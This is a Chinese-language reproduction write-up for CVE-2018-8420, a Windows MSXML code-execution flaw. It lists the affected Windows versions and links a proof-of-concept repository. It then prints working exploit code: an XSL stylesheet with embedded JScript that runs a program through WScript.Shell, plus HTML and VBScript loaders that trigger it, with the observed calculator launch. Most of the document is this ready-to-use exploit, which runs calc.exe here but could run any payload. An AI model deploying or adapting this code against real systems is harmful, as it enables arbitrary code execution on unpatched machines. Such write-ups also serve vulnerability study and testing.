影響的 Windows 版本：

Microsoft Windows 10 Version 1607 for 32-bit Systems
Microsoft Windows 10 Version 1607 for x64-based Systems
Microsoft Windows 10 Version 1803 for 32-bit Systems
Microsoft Windows 10 Version 1803 for x64-based Systems
Microsoft Windows 10 for 32-bit Systems
Microsoft Windows 10 for x64-based Systems
Microsoft Windows 10 version 1703 for 32-bit Systems
Microsoft Windows 10 version 1703 for x64-based Systems
Microsoft Windows 10 version 1709 for 32-bit Systems
Microsoft Windows 10 version 1709 for x64-based Systems
Microsoft Windows 7 for 32-bit Systems SP1
Microsoft Windows 7 for x64-based Systems SP1
Microsoft Windows 8.1 for 32-bit Systems
Microsoft Windows 8.1 for 64-bit Systems
Microsoft Windows RT 8.1
Microsoft Windows Server 1709
Microsoft Windows Server 1803
Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
Microsoft Windows Server 2008 R2 for x64-based Systems SP1
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for Itanium-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016

漏洞復現：

本地測試版本：Microsoft Windows Server 2008 R2 Datacenter

Poc 地址：https://github.com/Sch01ar/CVE-2018-8420

xml，呼叫計算器

 1 <?xml version='1.0'?>
 2 <stylesheet
 3 xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
 4 xmlns:user="placeholder"
 5 version="1.0">
 6
 
 <output method="text"/>
 7  <ms:script implements-prefix="user" language="JScript">
 8  <![CDATA[
 9  var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
10  ]]> </ms:script>
11 </stylesheet>

html

<script type="text/vbscript">
Sub POC()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "xml.xml"
XML.transformNode xsl
End Sub
POC()
</script>

vbs

Sub Dummy()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "xml.xml"
XML.transformNode xsl
End Sub
Dummy()

開啟 xml.html

點選，是

點選，是

成功彈出了計算器

直接執行 xml.vbs

也成功彈出了計算器